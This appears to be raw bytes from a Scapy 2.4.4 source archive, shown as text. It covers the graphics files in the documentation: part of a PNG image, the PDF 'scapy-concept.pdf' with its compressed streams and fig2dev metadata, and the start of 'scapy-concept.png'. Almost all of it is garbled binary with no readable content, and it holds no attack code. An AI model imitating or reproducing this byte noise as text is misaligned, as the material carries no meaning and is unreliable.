¾DD0|‰ˆ$`øIÀ+YHÐØØˆÔÔTÙeÄ$Šìˆ¢B¼LT¥§§£§§ÇÇ#?P à~ÑüHfø?ßFqþ]‘{æ_ö~òÔÑÈ:Šÿ˜QâbøÆ³˜=8ÿ|`åJ ##zëV ¶()‰Þ:‡ò­¹ï?Ô…î=?¼?SJÒ 0ƒ)q³–ìw€Ë..¾xíµèo,:ª0?}#SJÒ°áw]xãç`ÿÌ%»,¢°cøJôæ›j‹wölàïÒÓeWô Îy0W5çÀÙ 4_¹mKÁÕ+»2¢ðaøJÒÔ×^ ÔÕÜÿ6ØØSõ¸rEÎy ›kzÐtÅ~Ø>ê“]QX0|%hn®»¸åàŽ^vE±KÑ§ÝšŽŸ¾™ƒœ‰:üóúƒh-ïBÏ~øÆð²·ÞR[»7ß TU©;¼hx9Çè0ë…l\ôç,XÞèÅk?>€Ž7ÙAñ‹áEëÖW_ K—2xCqüOS1ç_£pô…)X[Ö‰µ¿ìDç·Ü!Gñ‡á%f3`0W]<÷ƒw$ÒÇ(¸pq&.[ž½íN¼vÙ´¿ÜÁ ¦8Âð‚+®fÍ^~™}¼árô–Fñ‹áaííjð¯¼ÂQ áÆai¯¾´s§ÚÚ=þxàÕW´4Ù%®AÃÒfsXÅ6†o„8êÁcƯ¿deÉ®(ñy K›ÀaiÛ¾ÐÓüìgÀÞ½jðŽ+»¢ä’sŒ³^ä°4Šm ß0øÅ/Ôl¯¿sŒìŠ’‡¥Q,cø†ÙÃÀ?þœy¦ìjˆÃÒ(V1|ÃèÅ'Ÿž˜9Sv5äið°´ƒ–FR1|ÃdÃÀhÊËÒRÙÕ/îaiM9pv K#©x2õ0øúkà¼ó€sÎQO†OG¯ÅÚÉÔ£E8­/vã“?u#{¼‚ÿ÷D&òÏåUµ(zØò¡žàšk€Ü\ॗâ+x“‡¥‘l ß*+¶nU¯B‘›+» ‡¥‘, ßxæ`Ù2 ¡8ñDÙÕÐH –fä°4Š,†oˆ>þøÍo€Ç~òÙÕP8x Kû/‡¥Qdq‡[Î=W=gÃêÕñÝÏ›¬;܆ã<$椛ŸíÆ‘g§ ðñLäĶ …·¦Üy§zî†_Œïà%ÿ8,"᤺:uTÃòå@~¾ìj(ÒÆžÆ³¥Qd0|ƒ°}»:ºáþûÕSERrà°4Šöù¨·¸ðBõ÷wßMœsó²Ï7xÛ_ëŇ]Ð¥(8ÿ20érž!Ÿ‚Ç–o€ž|RÏ[W—8ÁK¡ uXÚÿUw£áì}Q¨âÃ7ííê²'žN8Av5 B–¶»Í‰n»À¯öD¯PŠYìv†ÀŒêaÄï½èìÏ»F.ÐaiŽí.¬¼t?àúF#óH•If %á÷ì³ÀûïÕÕ‰¼KË=^‡´Ñjà¶šº$TJ±„q2„o¾x@½q†ìj(Ö2,m²AÝ9×ñV/,ÿä ádÆðÂ=÷G <òˆìJ(^ –f~ä–MvàÀNµ3xüÅ)îsÞ¨ Ý{Ùë—¬¾~¬^­^¨ºÈÈ]ÍÈ55ƒ§gd6›÷´ï¾¦N>ÿ<:µ%"íliÇ\¢ž#øÕ‹öãÝ{;qTa  @ïA`ÃBv?$+îpó¡·Wíf8ï<õH¶D µ¶ÚÚ€‚ïéW^ ¬Z¥Þïì²³Õß·mN:)ºu&¢ýþqÉ~÷}}àêUwæÀÌg³0ñÒÔAÏi¹½†U9ÐqqBbËׇgžvî\v%áóòËêÏ¡Z´N'pýõêï§žÊà —QÇêpÓ—¹8óŽt€³§?x¡ï?p=ï6ý3'ìÛœx÷ÞÎ(WKÑÂðàûïG,&N”]MøcǪ¿Ïš¥v- tçjw  ^”BçêìÛœØñz/Úþ|kË:±c•lèq¸ðá¢C^“™¡6ww¬îÅž-Îh”LQÆn‡î¿_=qÎ_ôÿû(þúWàî»Õ!sS§ª‡Igg«ÝS§ª-}!€ÂBuxO¸€—Np ~àp?¯_ ðãeÙQÿuäÖ;Ññf/òNÖ£hu}ØË%‰Øòõðí·j—Ã#$^ðÀ-·99€Ëüç?€Á N_½Z=‚Oû3üÀòjŒwŠ(¸+ú4 %CAJæáÎv¡ö¯ëÒÔy=OÞ[Ð…Þƒý }Ì 5ˆííNüßÒîh”OQÄ–¯‡»ïV¯>üÙg@zºìj"ã‘G€?þQÝ©¨×«ý¼E&MRÏÞÆJ§gŸÀ¾.ìûÒ…ý;\Ø÷¥öÏ\Øgq¡ï ÷×O—ªàgër=^‡ƒß¸ð÷ÿ§î¨Ó¥†Õ9È›Âæo¢`øöÍ7ÀäÉÀ_þüò—²«‰œo¾Q¶ÏÇ)iõzà©§€;îˆ~]ɪ{ïá`ÞîÄæšìmWÿ?'ý9 +fÀ¾/Ð¥cNUâ`÷Cb`øvÿýꈀ;ÿ¬e7Þ¨^ô³wÀþŸ¼<àë¯ÌL9u°ïKVÌì––n ¾ß䄳W@Ñç>”Óæ'è¿eI†ÿ\°Ûÿý_õ‚˜‰¼€:’c`Ë7%EíÀà•kôdïai¶úàìUÛGÂlüc7öíà=Ãý'͹ývÙ•DÇYg—^ª®'v7È#\Àþ¾z»ÿ©êÆÁ].dóñõtÿ¾¯kè‘R†Ÿ%±¹\ê‡[oF–]Mô,X¼ý¶ú{Z0opôÑrkJF›þÒ¶%Þc|u© „K@øÞëê°}Ò‡ÿ.ïÁ)7&Á¿i ,é[¾¯¿|õ`4Ê®$º.» ˜2Eý½·Wír¡èË7øœ¾®>Eÿ;ÖðÑã‡pà+v?ij¤ßávå•jø¼õV`ó÷õõ¡©© NgüuôÎ;Çâ™gÎÃĉûPYù¦ìrÂbÚ´i˜ÁCÍf3vîÜ™…÷èáÚ×î,`w6\ßgÁõm¶z¿ëð ¡6™œ ”Œ>d>Ú™Z(¬|n—"‰ut¡Ó ñê«?gÅŠj[ÜÒ°_Ób –ðÜn¹å–Èm0BH{]™ºÑbrúÙâüìkDQÞýbáÑk…éèI¿y ìæk»Lê>ßåËÕó\uUàÏéìTOt"ê³ì¢´´ÝÝ‘?¬¶¶%1rÝ¥G‘HÛabò·]&uŸïK/©'œI†áeD[’¶åÛÚª^•¸¶Vv%D”Œ’¶å»lpúéÀ9çÈ®„ˆ’QR†ow7ðÊ+ÀÍ7Ë®„ˆ’UR†ïk¯û÷¥¥²+!¢d•”áÛР^Ë#ºˆH–¤ ßÎNàÍ7k¯•] %³¤ ß7ßTû|‹ŠdWBDÉ,éÂwÅ à‚ €ü|Ù•Q2KªðííV­®¾Zv%D”ì’*|×­öîæÌ‘] %»¤ ßæfà‡?Ž;Nv%D”ì’*|[Z€ÿXvDDI¾V+°e 0c†ìJˆˆ’(|ß{O½4ú…Ê®$±™L&˜L¦€ç·Ùlhhh@ÇþÅŒÖÖV”••AQ”••aÓ¦M²KЏ`·ÛpHšðݸ8óL ;[n­­­0™LPŠ¢Àd2¡¥%ö¯F0ð ÙÒÒ‡ÃE|œ`ÌŸ?ÅÅÅhnnS¥±CûŒ½Å‚––⡇‚Ó§Oz(C¿w•••hnn†Ãáˆz]á”Tá{öÙòÖïp8`2™°zõjÌ›7B!0oÞ<¬]»&“ 6›M^ChmmEaa!¦OŸ!ªªªpÄG`Þ¼yƒæ­¨¨@EEEÀËnjj g©1§¾¾ÞýY{ž€ßsZ}}½Ä ½566&Mš˜;w®”ÏH«Õê¾o·ÛÝï׬Y³PSSƒyóæ…í;ìvI¾Ÿ~ È[ÿâÅ‹±{÷nTTT`ŠvåJS¦LAEEvïÞ¿þõ¯ò ²e˨_DMAAAÔ7ÖxäùžùsÅWD¡’À,]ºTv nùGBåææº/((À³Ï> @ýÏ)^[ÀI¾ß~ œx¢œõ·´´`Ñ¢E0q‰ä›nº ‹-rwAøúwÔß¿¨6› •••PEEEa]ìÚµ õý øk6°ÿvàýææf÷ò;::†|¿bíßñPX,–€æËÍÍ…ÅbÍfCss3ŠŠŠàp8PVVæþ—ßáp ¦¦Æ«»Jkõó>kŸqMM l6›ûýõ·hÜÓµçküÕ²²2wmÚr=§ '??÷Üsš››±~ýú!köý u» ZD¯6#6mbëÖ‘/«¶¶Vû¶•—— Ân·ûÇjµ ¢¼¼Üë¾çº,Ë iV«U Q__/„bÍš5€hkk Ë2„¢­­ÍýœêêjŸ¾†b~IDAT¿¯Ã`0x-Ûó¾ÙlöZ¿Ñht?ÏWÕÕÕÂjµõ¶RRR"JJJ‚zN°ˆÚÚÚ=ßßö3ðýjkks¿OF£QV«uÐ{èû¼xñba±X„BØív÷vH}ƒATWW !ú·ƒÁàÞüÕî9]ÛžÌf³»¶¡êîý²ÛíC¾¡¼Á¼Ÿò·]&Eø¾ñ†¾ÇÈ—Jøµ 5Ÿ¯ç œV__ïs-Äñ !„hoowoÀD}}½Ïå5xÞokksÿV¼‡¯çãßÛòòò!ÿ`ú>{þAÓþ8WŸöÇØó¹Z€z~Vþj¤¶`¦ ÷Ãñþ…R‹?I¾ BèõáYV¬…¯ç_é·p-ÓÙlö ᦦ¦¿ÏVF(- M"…¯?‹E,^¼8¤÷YûÜüýáô·íyž´V§Á`¶váëO ï_4Â7)ú|÷îrrä­_ëë dÇ@yyyPËÖ†h ½çÚ-˘6mªªª`6›a0PTT¶ab;vìÀÒ¥KÑÚÚ–å%šššÜyç0 !=ÿÞ{ï…Á`@qq1òòòPYYÐó|í„Óv€É"¨}ŸýÎŒôý ·¤ß r("¦OŸ@ ´Y3B<oÛ¶m!=/e(Š2èÇ´iÓðôÓO@ؘ;w.ÊËËQXX³ÃîdihhÀí·ßާŸ~Úk´L0¦L™‚¦¦&´µµÁh4bÁ‚°V¾>“¡v"GÚÆö ÇûnI¾²iC‰†ƳtéR”——cæÌ™A-»ºº°|ùrw@j#¹ mC÷¤ gKbÁ‚0 X¸paØ–™Š‹‹ô¿ç¡Ðþˆ ªª mmmX°`Á°Ï+))lß¾Ý=MÛN®»îºë ›Í†%K–À`0ô ÇûvAw`Ä¡çž";;<Ë ¥ÏWˆþåå墽½Ý=½½½]”——{íÜÒh}mÚüÚN ¯«çˆÏ›¶W;ËÐî¯Y³ÆÝWh·ÛÝ;괽؞˱Z­^÷=Ÿ7Ü<Úžemïz b½Ïwàû3Ôãiýò‹E´··ý>kµ———»?W­ÿSã9ªÅsµÛíîÑ Ú²êëë½úçýÕî«6_iž¯Á³º­­mP=ázÿ‚y?•Ô;ÜššÔÑ#_V¨á+ÄàÎ~-µá,¾æ×6mÇ–6$Ìs°X,îaCF£Ñýå ×2´×ÛÞÞ.ª««ÝµüCâ+À=oΣí]÷÷Eò'–Ãw¨×ëkÏYBxÿñ¶Z­î½÷žC‡zŸµiV«Õ½ zïpõY­V¯Ï~àN;µS[ ·Å‹ûü΄ëý ´æ@ùÛ.•à Nh|œ>°cpì±#[V]]JKKƒÚ¡5PKK .½ôR@[[Û ƒ(4¥¥¥€ÚÚÚˆ­CQÔÖÖºÿ'Ž¿í2)ú|µÀ ð€£ˆ›9s&ÚÚÚ`00uêÔ¤8kyKŠð73F=Ÿo¬(((Àòå˱xñbL:555a±@Dñ!)ÂN; غUvÞrssqß}÷Án·ã¨£ŽÂòåËãú\D¸¤ ßiÓ€ dWá[nn. ***FÔ—LDñ#iÂ÷ ÕsúvvÊ®„ˆ(ÉÂ×éÞ}Wv%DDI¾?øpî¹êå㉈dKšðƒáKD±!©Â·¨èè>üPv%D”ì’*| Ô!g/½$»"JvI¾pã@CÐÓ#»"JfI¾7ÜìÙ$øˉ(Æ%]øN˜ îx{æÙ•Q2Kºð€;îÖ­6o–] %«¤ ßÿ8õTà/‘] %«¤ _Eî¾X¾øæÙÕQ2JÊð€›oVO3¹d‰ìJˆ(¥È.@–Œ àž{€E‹€‡òò‚{~cccd £566F傎HMMøz(1øÝ.ƒºQ‚Ù·Oˆ±c…xä‘ÀŸ³aÆ ®7Å[toóa† --Múkê–­Ë?ó¨HQb»Îd»ùÚ.“ânC©¬~û[à³Ï€ñãeWCº=[XWÖ g7py]6FONÚ^ŸôáÛÝ œ|²:¢¦Fv5D¡Ù¾²懻pÄYz\òL2ŽàQb]Ò‡/¼ü²ºîÓOÕs?Å WðÑc]ØúbN›ŸŽsÌ€¢—]‚á ÀåRÏõ;aO9Iñ£Ë&°îWسʼn žÌÄqWq'`ZÔ… —¤âÂ?e"mûwãw‡z¨ªvì{Lv%Dƒõu ¼÷›N|øh ~™ÕY Þ8Æ–ïÏ<Ü{¯Úú=óLÙÕ©öw¸°®¬¿vá¢%Y˜0=iJ ß„.¾èêZ[nã$Ù®u}XO'r&è0cir&òÖDÀOqEžزøÓŸdWCIM›žêÆš[b⥩˜ýj6ƒ7°åëÇþ,\|ü±zúI¢hêÙ'ðî½øz}~dÊÄ)7rp¢aøúát3f{÷6YY²+¢d±·Ý‰uÆNô¦?…üs8Œ,ñ?ôzõB›6ð«_É®†’Å—M½xýg‘y¤W5å0xÃwãÇ«‡/_®öEŠpVÂú_w⤟§á²ºldÉad‰ŒÝxôQàÉ'³8ë,ÙÕP¢éÚ-ðί:ñýœ(|"Çÿ”‡ '†oœNàŠ+€ŽàÃQ£dWD‰â»X÷«NèÓK³0æv3$ v;@¯W»n¸A c¢‘j_Þƒ7æÀØÓÔþ]oraË7ÿùpÑE@I ð·¿É®†â•³0?Ò…í+zPpwκ+ ›AI‡ÇoáÌ3Õðœ9À¤IÀƒÊ®ˆâͯ\X[Ö‰_¹0óÙl3ƒ_ÁdÅ–oªªÔág¯¾ \}µìj(^|½^=L8û(.©Ê¨cÙÜMfü³‚²2uçÛ 7--ÀùçË®ˆbš>}¦mKaòU©(|")™F–ìØò ‘jø¾ù¦À‚F¾ôx÷7]ص¶ç>’‰Soæa¤bøŽ@w7PT|ò‰z ^ÿ<Ù·9±Ö؉Þ—ü- ùçòMêÇN§HOV¬N?˜5 ضMvE+v¬îÅê«"ãW5ç0xi¶|ÃààAàòË‹EmŸp‚ìŠHá6>y›ŸíÆ)óÒð#S&tÌ]òá&pÙe€Õ ¬_¯E£Ä±åùnqºãÎ÷Ÿ¤‡ö¨‡ ïÞäÄ´Ç2qÂÕß0ÊÍU/A?~¼z)¢?–]…ÃÆ'N¿-ÝçãÛê{ðÆÏ`Ì):\ùZƒ—Âð ³1c€ý 8ûlµ¼~½ìŠh$_¸°cu/`ìéÞ¡êìÞ  æGºpÆ/ÓqésÙHÏãø] Ã7²³¦&u'ÜO~¬Z%»" ÕÇT[½ŠíqDZç·.ü󺰼ы™5Y˜ú› žŸ‚ÂÍ%BÒÒ€º:àÆŸý xé%ÙQ°ölv¢ã-µÕ›{¼Êá†ïÆ'¡±p?Rs\ùZ&^Êk<‚‰ ½^=ÄG7ß |þ9ð?ÿ£^!™b߯ßRWGœ¡ƒpõgíCïAuõ¬³¡çk"†o„) ðØcÀñÇwÜlݪ¶‚33eWFC±}Ô‡¯ßëèR¤å*xé g¢׬çõid8Ô,ŠÞyGí‚8ñDàµ×€£Ž’]Qrsõ߼߇ Ó·AþyÍA|·©bÀ‰óϾ/gÝé{ÔQ0¾QöÙgÀ•Wªç…XµJ=G°?þ3P_|ðAôêK&oß|»ÞéCé–Ñ^gÛõNÞ¾ùà ù3P0~z*Òr¤çª­á´\ŠŒ=M‡¼)bFcøJ°gÚÞ¸¨®Š‹}Ï7m°a°v-pÉ%Q-1áõ¨;sà¦/sû@Ó•àhwÁåüÕPtêÍÕ7x™^Ë!G;H0v¬:øÖ[ÕKýú×@oïàù~ÿ{õ§Áàûq Ýæg»GœåÝZµ¼Ñ û>ƒtz©öåçž Ç©7§á¢%Y¸þƒÑ¯™ w¸I’š ,Y¢¶no»Mm¿ò 0aBÿ<ç§þÝ ­_AÑyïx;ñº4\¿a&^šÊैc·C Z¹²ÿªÈG |÷ú»^¯¬±y³ÚgLÁÙßáŠû!\ƒ»ô¹l3“ÿRô°åƒæÌQ»€þà§ؾ]ÝùFÁkûó!Ÿ'¿9ëÎtôìص®ß}â„c» ]»\aBÄ–o øúkàË/;úoŸ}¦ž b×®Áógfªsç[à쟹Ðtù~¸·v€ô©j/„è|}f½ —°ELáÇ­J²+Ô.‚Ñ×üæ7êÐ4 ÌÇ8Eß?lLë÷uj­[Ýá<><=m”‚qç§àSyÔE[¾’9Ào«¶v­V ­M½  ž–ÒéTo¾´´ôŽ ÿ¾ÿ«~zžxE'àêRG)w^ Æ_ )sªžç楈cøÆ€¯¾ú ­­­îûv{,–\ìØ‘‡;ÆàóÏÇà»ï²ár)Ðét:¾>5êë_…^ïc¹u–_ ôè\ ”Œ>èNØ ý‰{ ;~tG”ð Ž9æ†}¹”¾1à¿ø^xá…aæÊp€³L0ÀxGø6²ƹß½™ºQx{ ¶Z]=[!Íž_/ò‡áJKKµµµ’+¡p©««Cii)×übÏ‘ _"" ¾DD0|‰ˆ$`øIÀð%"’€áKD$׈H†/‘ _"" ¾DD0|‰ˆ$`øIÀð%"’€áKÒØl6444 ¨¨("Ë7™L0™L1S‘'†ohmm…Éd‚¢(P&“ ›6m‚Ífƒ¢(²ËókáÂ…(..FsssPÏkmmEYYEAYYZZZàp8FüZçÏŸR=D¡`øÆ9“É„eË–aÞ¼yB@»îº 7nœìò†TUUôsZ[[QXXˆéÓ§Cªª*qĘ7oÞ y+**PQQð²›šš‚®‡(T ß8¦µp«ªª0eÊ÷ôüü| ˜Íf‰ÕEƲeËsçÎuO+((*d‰bÃ7Nµ¶¶bÑ¢Exøá‡ýÎ3mÚ´AÓÜ]555°ÙlîÇö{677CQ¡££ÃkY•••^ËøoÿpëòÇf³¹—]TT„––÷c»vílÚ´Éë9ƒ–áù:‚y]žZZZÜõÇrÅ!AÒ•””ˆ’’’ žS^^.«ÕÔó ƒ¨®®BaµZ…Á`ƒAØív÷ãP/².Ìf³B‹Å"£Ñè^ÎâÅ‹…ÅbBa·ÛÝõ³.!„{]m¾úúz!„kÖ¬D[[›Bˆ¶¶6÷sª««½–5pÝžËôu ¬Çb±ˆêêê ßçÚÚÚAï‘'n1 ”ðЂÌ3HÌf³à;Ë8màr¬V«×ã¡®«¾¾ÞçºËËËÝ÷ÛÛÛ…Ñht?·¾¾Þgûª9×¥Ýokkóª5 _»’Hcc#µOXsê©§P¯¶ £ÑˆqãÆ¡¡¡‡ùùù^Wê u]ÚcÿÕ_´h‘{ž)S¦ ªª f³F£ÅÅÅÈËË ë(…ÖÖV,]ºÔ«o™(¬d§?…ÖòÕZ~þþíö~Z˧ûšoà´ööv¯å/^–uù{ÞPÌf³»–¦¦¦½.í¾Ö׺(‚Å–/ ‡-ß85{ölÀŽ;~ŽÁ`Ÿ;½ŒFcPëŸ2e šššÐÖ֣ш  ²²2lëÚ¶m›Ï銢ÀápxM›6mž~úiÛsçÎEyy9 ÚIH,†oœ2 0 Xºt©ßy:::¼±¤¤°}ûv÷4-È®»îº Ö¯…`AAªªªÐÖÖ† Œx]ÕÕÕ€åË—»ç×F?h6nÜ8èy“&MÐúá°`Á ,\¸0lË$r“Ýô¦Ðº„è`4E{{»×c‹E ¯^v»Ý=â@›^__ïµ·_Ûq. »Ý=‡w‚i#,‹W×C°ëÒæñœæyÓÖ£Ý_³fW}Z76*bà²y]¾æÑFDh£6Ån·Žjø ¡HSS“×Þmˆ—Xž¬V«¨®®ö;R``è 5ÍjµŠÅ‹ûìó u]B¨§ ]3^¯C›¯½½ÝkÙååå^€|øp¯Ë×<Ú¨5‡áKÃQ„ðØEMR”––jkk%WBáRWW‡ÒÒRðëEþ°Ï—ˆH†/‘ _"" ¾DD0|‰ˆ$`øIÀð%"’€áKD$׈H†/‘ _"" ¾DD0|‰ˆ$`øIÀð%"’€áKD$׈H‚Ùª±±sæÌ‘]…Icc£ì(Æ1|cÀäÉ“ÑÛۋ믿^v)Fiii²K Æk¸IÀ>_"" ¾DD0|‰ˆ$HðÙE%›ÿô~XC(rIEND®B`‚scapy-2.4.4/doc/scapy/graphics/scapy-concept.pdf000066400000000000000000000172421372370053500216020ustar00rootroot00000000000000%PDF-1.4 %Çì¢ 5 0 obj <> stream xœíXKO#G¾Ï¯˜[`%š~?®‘¢(R.‹å²äõb²cl#þ~¾êén=/£åEHØS®úºÞU=/5g¢æô—>WÛêöÎÕûJÔô·{¨„´œ9YK÷¶VkÆu-èÆ×»uõíS¥Á¢¥©ßªWßý~‰à¢z¿p–×Û(ØTʹΗøSSm*!œaÜ@8ÜB:(í2¡9´ôL¢d™)Š4œY(¥y`¶Ë’q7Õߟê§èNþðV1ïU–Ø; Ü1Ï´¨>Ãâ‡!ÃÆ4ꛑuĉ‚³yOD¼5LÃ"§èÄBáŠ)A|“bÒJ R¼×LŽ”ÌëH9=«•"#’XØs#Hpµžô*x­S+âÆ1£k¯°ÅU2Sê=h”Fð‚æÅBæÎ{GÍ:?¯*’(N8’(é9ŸA-%H—$Z„xSºœ‘Ÿ!‘´È”¬eF8·c»ÙÖ¸ÍDú*¯Ëž<’+³LH…a#ÊJ>4Ç nåŽ×†È„¡~VQó\E¾óeAÍrÊ`£7é28Rçó\E…Q@»J¾gl{ÌL£bL3÷u‡VŽˆ [”í<K×ÄU•).`IÕ&b$ q„Ñbæ^šOÍÏÀpÈ4¨Ÿ)ÀðSÜe¼ö ©`æçt*0%kÖt(I÷„YlK§æç¶8ÿwÒŒ“6ýÉ—@ç1÷ƒ=ÍìR”p¶²bv¾Wapõ§všOyg™Þ&¸Æ[_*VE먱3%=Áµè½PšçZœ½x™Ü&ÛñÙë™é%`º!Ÿ¾Æ™Üp&˜½—=ÃHpõ’%9dz ›gM•$zR!cQ™`ê'yJ®™Umžk‘^¥ó«|üž>VÛú×eu{‡(£cfËoi±µHŠ—c’œ²ÜVW»õþùÇÓ~}½ü§ºšÞNY’Uä¥å×êj{XmèWB¸!(é°à[_Á,G>ÌÓúðöc÷øòiÀh Û‘ES#¶?¶ÏÍãêñP?߯¾¯õ~} +Ñõ¸¬—VWwëýks¸þ¥Bna°‘ø×ÓýÓþm½[M’{0(4IAw`,(بíþð¸}m^÷„z{§tÜpƒ¾o—Œc"G‰Ý—«/×ÄÿÛ÷²ÏÕ¿!¾ú¦endstream endobj 6 0 obj 1420 endobj 4 0 obj <> /Contents 5 0 R >> endobj 3 0 obj << /Type /Pages /Kids [ 4 0 R ] /Count 1 >> endobj 1 0 obj <> endobj 7 0 obj <>endobj 12 0 obj <> endobj 13 0 obj <> endobj 8 0 obj <> endobj 10 0 obj <> endobj 9 0 obj <> endobj 14 0 obj <>stream xœUT Tמawg¦VeºR«ÎŽ?‘QüÁŠ¢hp¡+RiYØ ¬ì…eADQ…‘`¬œrhênø—Ú²­m² hH­E´¬Ê"‹Zh=­M´w8o9íi“ÓsæÌyï¾wïýÞ÷}ï‘„Ü IrÖNƒÉj°stÒ,\\@Š ýÄE2L}0eV,"´= üe‚¿¼q!5ŸÎ…ÚÙP>‡‘dyMÃö¢ýÅÆÜ< ’–òFèŠáßFÖlܸ‘ÏÞÿ¿^c(1æðËñÀj0™ –h~;Þm2sø\Óþ¢¼^§×ôRZºÎdÈçwMÆ¢¢B+²=”_»zõ𕸷6ÉhÎ.-áSu%¼–O1ä–štÅÿ$BUS¨/2—ä¥XŒ¥ ùie&™'ˆÝ„†xˆ#’‰D*±‡H ÖiD"‘N„ZâĈ]D,‘DÄ_ÖžëÔ¶Ç Zä(myÌØ{ï.|·N½:¸ámF`"öÜ…9Ôë~2x);¶N±ÌÔêôBWÍb§ ¯]‚4H3¾B!øñsØ ‘_£ê“1ªÉë1hš¼%bUÊ0°ø¹{âe÷»¨uCŒ-°Å ÝøD•âÑ)³* 5Qy=©mqØÂµˆDÑj։⼈„Å_^ií¿Ì±•;îШBÔ©æJËÉÑë"’€”7<á^–Ãܘ¯^‰¯«Þ ö|/*PB u)ÍYâXðHÀŇ@³üZ“’¿KéºC³ýP¡Uýå÷›Ð\ôJÒ¦Õë’ïÃl˜Ýw|æø°Ó‘ÃäÅ1™X‡TÂý÷>«ü­q,º;ƒ^¾³¹ m{²‚ÁßãÊŽÙ´ìx3w§.d6^*;wì\u7SãR~úÅÍQ¹¿¾J¨ª®R+a +;Ž‘`äA¬c@’¹]’¹™îžu^hgØ–³ÍödÒkŽ<,¤ Ùù?ÞÂ°Ž¿~+õ§^8‚ÕN•ªê¯âûP†¦Ü¬ ÛØ¥‡9fµ»¼ï`£U0ÌÏÈØ›i¨ÿØÊjx¯á}³ŽªE®dX„9úÞhÿ3wÖ'K›ÕÑgã^ð±à˜ÿÙ'®Û{j¸ÿºòKØj#=Ø”²A¬ß´Ùƒ )Ù±µõH¥kª¨+Þafl9®½öêk™–fppŽVN½#Øáw#P;81èñ¦§AìsH‚Û*8Fy9kÔ¬X(dþ4«Þ<T^Ó±–ª§Õà_Þ¹ùW û|äÂù«žïCàæ´”C¦Í”ÈË¡JénáÜÑÆ²fký>!‹YŸ¥á”ÐaÃ\äC NcV×ò(´Lÿ'O¥wšûm¶šSmÜ }øÄ¡ê“ûnC hŒVB1>g™ vÙÈÛ87 çFùìjÊ,ß°d”’,1´WÚØïZìärÑ:O´G¡+4{™O‹LÐ]¸É‰t”/„ŽìOýç°³uÀɱ屸t‡`ŸÒØÈLÊ ³·rÚ<‰ žø¦an¸Xº¯oSîCr(¾¢Ð>ø$B‚‚§P1*V`2-#Sœ|8!Κ‰Nœã;C‡jv£ï¤eÕ7çq¹má#žY…ã(äE¼[Áo–sâ™1pOR¼:V‰vÅJj©/|™®x• ö…óxAA¸Ï®˜¤ž‰/|Š—¼Hà]£2Çý6L›gØŒWvy¡þ%¿tªØËUGŽ ï/(8ÐТ†ôDü¤Úª-Õçq%Eïš«Þ`F©ÓüM»[`îvîU—ÒBžµ2á(šU¹ÿxþ¡¤bÓ›B<Ö‡ßÚýâVOcï܇é-%½ÂGB}Mëi|ë ^%­(¶MÙ2&ÑÐÑsÍÑö¨^=þ³_Ô¶Õ3Ê©;ß<¢£P$}A¬SzE¥Ë5B³þ|í†ë¿6ìäд¦7:õ ÒT\DO¦u‡Æé¬¯gp¦ëº¦x!Nxë'™Z†uÞ‘dTZE»¤˜¶‘rÏò¼â>åïÿðŒAüŸŒc† endstream endobj 11 0 obj <> endobj 15 0 obj <>stream xœUO[HaýÇ]u´uS2wT,óJ/ÑêÒE¬,*m']œ½¸îª»¦»ëŽšþ®Úìì¸ÚÚªav±°Å"èÁ—" ¬ÞzðUH,ü'æ¥Qˆèåãœó}ß9 ¨c†a¸Þê´›hû..20é`Œ”©‚r²tOÚŠÍ'K-IC jTP£žú}#õ§ îý¨#¨0¬#0¡·Ú\vSc“ƒÊ½T{9/?ÿÈ?¥¨¢¢‚jpýÝP•t«©ÑBV@ÍXmfÚâ8Aé•k†1ݤ—­©•ª7iãî[]=C7Sc²Ù¬mT®>*.,,:ªŒâs&sƒ³•:kµX©3T-Ýèdêíÿ‰µ½57€ à"H‰ Vi ÔÀŽ•`샴©•6¡ˆ6DFLEz1ø„©,MÆãÜ>¿§+ÄFÈ/òFþëù#$Z‹AaÜt“²µÄ [(fyf9cF½;7Y®ðÎ?®#Ã\ð>)Ä/Þzãþqû}åÛ|û3fšlž¢…ó\ ßp†¯¶°79°¸òtýë[óõQ‘Õàüca.4IÂZ<‘5ÉòÝ:Bðô( J4ýN%I[i>Ȳn[¥c”`<4Ÿ½*«ghÞÇC<ÌóÂÈ```”¬B)æ-¸wÿ\CÚÀèPŽàBïÕíy½W¡ÅËëëñöÃá>rMNy”e)s¶AÖÞ郰÷ò=BˆãFtŸö%Âp»ù×i¤v¼ðñ>ˆkÛ£RY¥F£Ñ¸¥Dqß’F#j’øà7  endstream endobj 16 0 obj <>stream fig2dev Version 3.2 Patchlevel 5 scapy_concept.figdirk@noname \(Dirk Loss\) endstream endobj 2 0 obj <>endobj xref 0 17 0000000000 65535 f 0000001735 00000 n 0000007134 00000 n 0000001676 00000 n 0000001525 00000 n 0000000015 00000 n 0000001505 00000 n 0000001800 00000 n 0000001912 00000 n 0000002596 00000 n 0000002283 00000 n 0000004609 00000 n 0000001841 00000 n 0000001871 00000 n 0000002854 00000 n 0000004872 00000 n 0000005671 00000 n trailer << /Size 17 /Root 1 0 R /Info 2 0 R /ID [] >> startxref 7349 %%EOF scapy-2.4.4/doc/scapy/graphics/scapy-concept.png000066400000000000000000000722211372370053500216130ustar00rootroot00000000000000‰PNG  IHDRò`V¿ Î pHYs  šœ IDATxì|GÆ' ˆáîî.E‹–"5ܽxñ–wŠ»(^(.Å]‹»»»„¸'ßsl¾íårw¹„“Ý»gù…ÙÙ‘wþrOfÞyÇ)**Jð"   õpVÿ8   Р¬áÏ € ¬±“Éa PÖðg€H€H€HÀNPÖØÉ‹ä0H€H€H€(kø3@$@$@$`'\FŽ)Åßß„ GŽ)R¤ˆ›››œoéĬY³öìÙS´hÑdÉ’¡¯sçÎ-^¼ØÏÏ/_¾|&v€*&¶löb×ĉ/^¼X¾|y³7ÎI€H€HÀ‘ 8iÇ­yùòe¦L™€ãÖ­[ùóç·—\¹r=|øðÎ;yóæE§óæÍëÙ³g—.]þøãmˆ]%""",,,ѧËÄF¬SìùóçY²dÉš5ë“'OÌÒcHH^bÒ¤IÍÒš)(–­)Ƴ €°ÛE¨iÓ¦aîgèСvüò¤¡¥J• # ¶ÚH‡­Õ²#  ³Hd–VÌÛH·nÝ~üñGÓ›M@ÓgI   UP¢¬qvvvuu¾T‰Wû,L$@$@$ |q,B]¾|¹W¯^ÿüóüT~ÿý÷ÚµkçÈ‘£Aƒ7n”Ƨ–o¾ù&[¶l%K–2dH@@€ýù矿üòKðÝwßÁëV{ÙE»Ê«W¯P}Ë–-¨¾oß>¤×®]«Ý”v:^F^¿~?UªTR¡B…êׯ¿~ýz8šh7(¥W­ZÕ¢E Œ·L™2Ý»w?qâDì2Ú9ÞÞÞ 